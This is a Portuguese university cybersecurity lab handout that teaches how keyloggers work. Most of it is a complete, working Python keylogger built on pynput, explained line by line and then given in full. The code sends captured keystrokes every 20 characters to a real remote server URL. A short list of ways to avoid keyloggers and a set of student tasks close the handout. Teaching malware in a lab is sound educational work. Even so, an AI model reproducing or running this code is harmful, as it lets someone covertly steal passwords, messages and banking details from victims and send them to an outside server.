Instituto Superior de Tecnologias Avançadas do Porto

Ensino Superior

JoTECA

Ano Letivo 2024/2025

Laboratório de Cibersegurança

Porto, junho 2025

ISTEC

Índice

1. Visão geral

O objetivo deste laboratório é que os alunos se familiarizem com os conceitos fundamentais de cibersegurança relacionados à captura de dados sensíveis por meio de keyloggers. Neste laboratório, os alunos terão uma experiência prática com o funcionamento de keyloggers, desde a sua implementação básica até a análise dos riscos de segurança que representam.

Os alunos irão explorar como keyloggers operam, como capturam informações digitadas pelo utilizador e como esses dados podem ser utilizados por atacantes. Além disso, o laboratório abordará técnicas de deteção e mitigação de keyloggers.

Este laboratório também tem como objetivo conscientizar os alunos sobre os impactos éticos e legais do uso de keyloggers, destacando a importância de proteger dispositivos contra este tipo de ameaça. Por fim, os alunos serão desafiados a identificar vulnerabilidades em sistemas fictícios e aplicar contramedidas para proteger as informações dos utilizadores.

Este laboratório irá cobrir os seguintes tópicos:

- Keyloggers - Funcionamento;
- Exploração de vulnerabilidades;
- Programação de Keyloggers;
- Atividades práticas.

2. Keylogger

Um keylogger é um tipo de software ou hardware que tem como objetivo capturar e registrar as teclas digitadas por um utilizador num computador ou dispositivo. Essa informação pode incluir dados sensíveis como “passwords”, mensagens e informações bancárias.

Keyloggers são frequentemente usados em ataques maliciosos para espionagem e roubo de dados, mas também podem ser empregados legalmente para fins de monitorização, como em ambientes corporativos ou educacionais. Por operarem de forma discreta, representam uma ameaça significativa à privacidade e à segurança da informação.

3. Python e Malwares

A linguagem Python foi escolhida neste laboratório por ser simples, versátil e eficaz para demonstrar conceitos de cibersegurança. A sua sintaxe clara facilita a aprendizagem, mesmo para iniciantes, e permite desenvolver rapidamente provas de conceito como keyloggers.

Além disso, o Python possui várias bibliotecas úteis para capturar entradas do teclado, comunicar com servidores remotos e manipular ficheiros — tudo essencial para simular o funcionamento real de malware. Por ser multiplataforma e permitir a conversão para executáveis (.exe), torna-se uma escolha prática para ambientes educacionais.

3.1 - Código do Keylogger apresentado:

1 - Importação de bibliotecas:

```
import requests

from pynput import keyboard

SERVER_URL = '[WEBSITE A ENVIAR AS INFORMAÇÕES]'
```

Este bloco importa as bibliotecas necessárias:

- **“Requests”** para realizar comunicações HTTP com o servidor de destino;
- **“Pynput.keyboard”** para detetar e tratar ações realizadas com o teclado;
- **“Server_URL”** define para onde os dados serão enviados para.

2 - Declaração de variáveis globais

```
buffer = ''

caps_lock_on = False

pressed_keys = set()

backspace_count = 0
```

Estas variáveis armazenam o estado atual da captura:

- **“buffer**” armazena temporariamente os caracteres digitados;
- **“caps_lock_on”** indica o estado do Caps Lock;
- **“pressed_keys”** mantém um registo das teclas atualmente pressionadas, evitando repetições, portanto = 0;
- **“backspace_count”** contabiliza o número de vezes que a tecla Backspace foi utilizada.

3 - Função de envio de dados

```
def send_buffer(data):
    try:
        requests.post(SERVER_URL, data={'log': data})
    except Exception as e:
        print(f"Erro ao enviar dados: {e}")
```

Esta função é responsável por enviar o conteúdo do buffer ao servidor remoto. Em caso de falha na comunicação, o erro é capturado e impresso na consola.

4. Função que processa a pressão de teclas

```
def on_press(key):
```

É chamada sempre que uma tecla é pressionada, realizando várias operações:

```
global buffer, caps_lock_on, pressed_keys, backspace_count
```

Declaração das variáveis globais para que possam ser modificadas dentro da função.

```
    if key == keyboard.Key.caps_lock:
        caps_lock_on = not caps_lock_on
        buffer += '[CapsLock ON]' if caps_lock_on else '[CapsLock OFF]'
        return
```

- Detecta a tecla Caps Lock e alterna o seu estado.
- Adiciona uma anotação no buffer indicando a mudança no estado do Caps Lock.
- Termina o processamento desta tecla para evitar registos adicionais.

```
    if key in pressed_keys:
        return
```

```
    pressed_keys.add(key)
```

- Ignora teclas já pressionadas para evitar registos repetidos causados por teclas mantidas pressionadas.
- Adiciona a tecla atual ao conjunto das teclas pressionadas.

```
    try:
        if hasattr(key, 'char') and key.char:
            char = key.char.lower()
            shift_pressed = keyboard.Key.shift in pressed_keys or keyboard.Key.shift_r in pressed_keys
            if char.isalpha() and (caps_lock_on ^ shift_pressed):
                char = char.upper()
            buffer += char
```

- Se a tecla pressionada representa um carácter imprimível, converte para minúscula por defeito.
- Aplica a lógica de maiúsculas/minúsculas segundo o estado do Caps Lock e das teclas Shift (operador XOR).
- Adiciona o carácter corretamente formatado ao buffer.

```
        else:
            if key == keyboard.Key.space:
                buffer += ' '
            elif key == keyboard.Key.enter:
                buffer += '\n'
            elif key == keyboard.Key.backspace:
                backspace_count += 1
                buffer += f'[Backspace {backspace_count}]'
            else:
                buffer += f'[{key.name}]'
```

Para teclas especiais, adiciona símbolos ou anotações específicas ao buffer:

- Espaço é convertido em ' ';
- Enter em nova linha '\n';
- Backspace incrementa um contador e adiciona uma anotação com o número de backspaces;
- Outras teclas especiais são indicadas pelo seu nome entre colchetes.

```
except Exception as e:
    buffer += f'[Erro: {e}]'
```

Caso ocorra qualquer exceção durante o processamento da tecla, adiciona uma anotação de erro no buffer.

```
if len(buffer) >= 20:
    send_buffer(buffer)
    buffer = ''
```

Sempre que o buffer acumula 20 ou mais caracteres, envia os dados para o servidor e limpa o buffer para nova captura.

5 - Função que processa a libertação de teclas

```
def on_release(key):
    global pressed_keys
    if key in pressed_keys:
        pressed_keys.remove(key)
    if key == keyboard.Key.esc:
        print("Keylogger parado com ESC.")
        return False
```

- Remove a tecla libertada do conjunto pressed_keys, permitindo que volte a ser registada quando pressionada novamente.
- Se a tecla libertada for ESC, imprime uma mensagem e termina o listener, parando a execução do programa.

6 - Execução principal

```
if __name__ == "__main__":
    print("Keylogger a correr... Pressiona ESC para parar.")
    with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
        listener.join()
```

- Bloco que garante a execução do keylogger apenas quando o script é executado diretamente.
- Informa o utilizador no terminal que o keylogger está ativo e como o parar.
- Inicia o listener do teclado, que fica ativo e monitoriza eventos até que seja pressionada a tecla ESC.

7 - Código completo

```
import requests                # Para enviar os dados ao servidor via HTTP
from pynput import keyboard    # Para capturar eventos de teclado
# URL do servidor que vai receber os logs
SERVER_URL = 'https://keylogger-wl3a.onrender.com/logs'
# Variáveis globais para gerir o estado do keylogger
buffer = ''                    # Armazena as teclas capturadas antes de serem enviadas
caps_lock_on = False           # Guarda o estado atual do Caps Lock
pressed_keys = set()           # Guarda teclas atualmente pressionadas (para evitar repetições)
backspace_count = 0            # Conta quantos backspaces consecutivos foram pressionados
# Função que envia o conteúdo do buffer para o servidor
def send_buffer(data):
    try:
        requests.post(SERVER_URL, data={'log': data})  # Envia os dados como um dicionário
    except Exception as e:
        print(f"Erro ao enviar dados: {e}")           # Se falhar, imprime o erro (por exemplo, sem net)

# Função chamada sempre que uma tecla é pressionada
def on_press(key):
    global buffer, caps_lock_on, pressed_keys, backspace_count
    # Deteta e alterna o estado do Caps Lock
    if key == keyboard.Key.caps_lock:
        caps_lock_on = not caps_lock_on
        buffer += '[CapsLock ON]' if caps_lock_on else '[CapsLock OFF]'
        return  # Não processa mais nada para esta tecla
    # Ignora a tecla se já estiver pressionada (evita múltiplas entradas)
    if key in pressed_keys:
        return
    pressed_keys.add(key)  # Regista a tecla como pressionada
    try:
        # Se a tecla for um caracter imprimível
        if hasattr(key, 'char') and key.char:
            char = key.char.lower()
            # Verifica se a tecla Shift está a ser pressionada
            shift_pressed = keyboard.Key.shift in pressed_keys or keyboard.Key.shift_r in pressed_keys
            # Se for uma letra, aplica regra: Caps XOR Shift → letra maiúscula
            if char.isalpha() and (caps_lock_on ^ shift_pressed):
                char = char.upper()
            buffer += char  # Adiciona o caracter ao buffer
        else:
            # Trata de teclas especiais (sem atributo .char)
            if key == keyboard.Key.space:
                buffer += ' '
            elif key == keyboard.Key.enter:
```

```
            buffer += '\n'
        elif key == keyboard.Key.backspace:
            backspace_count += 1
            buffer += f'[Backspace {backspace_count}]'
        else:
            buffer += f'[{key.name}]'  # Por exemplo: [ctrl], [esc], etc.
    except Exception as e:
        buffer += f'[Erro: {e}]'  # Se algo correr mal, escreve o erro no buffer
    # Quando o buffer atingir um certo tamanho, envia e limpa-o
    if len(buffer) >= 20:
        send_buffer(buffer)
        buffer = ''  # Limpa o buffer após o envio
# Função chamada quando uma tecla é libertada
def on_release(key):
    global pressed_keys
    if key in pressed_keys:
        pressed_keys.remove(key)  # Remove a tecla do conjunto de pressionadas
    # Se o user clicar no ESC, termina o keylogger
    if key == keyboard.Key.esc:
        print("Keylogger parado com ESC.")
        return False  # Interrompe o `listener`
# Ponto de entrada principal
if __name__ == "__main__":
    print("Keylogger a correr... Pressiona ESC para parar.")
    # Inicia o listener para capturar eventos do teclado
    with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
        listener.join()  # Mantém o programa a correr até ser interrompido
```

8 - Evitar keyloggers

Para evitar Keyloggers, sugerimos o seguinte:

- Utilizar um antivírus atualizado e fazer scans regulares;
- Manter o sistema operativo e os programas sempre atualizados;
- Evitar clicar em links ou anexos de e mails suspeitos;
- Usar autenticação de dois fatores sempre que possível;
- Verificar processos estranhos a correr no sistema;
- Utilizar um firewall para monitorizar ligações de saída;
- Desconfiar de aplicações que pedem permissões desnecessárias.

9- Conclusão do Trabalho

Este laboratório de Cibersegurança proporcionou uma abordagem prática e consciente sobre os riscos associados a keyloggers. Ao implementar um keylogger funcional em Python, os alunos adquiriram conhecimentos técnicos sobre como estas ferramentas operam, desde a captura de teclas até ao envio remoto dos dados. Foram ainda abordadas as implicações éticas e legais do uso desta tecnologia, promovendo uma compreensão equilibrada entre o seu potencial técnico e os riscos à segurança da informação. A atividade permitiu não só consolidar conceitos de programação e segurança, mas também sensibilizar para a importância da deteção e mitigação destas ameaças em sistemas reais.

Tasks:

1. Simples - Detetar se há keylogger a correr.
2. Médio - Registar num ficheiro todos os processos suspeitos encontrados, com data e hora.
3. Dificil - Desenvolver o Keylogger e que corra localmente.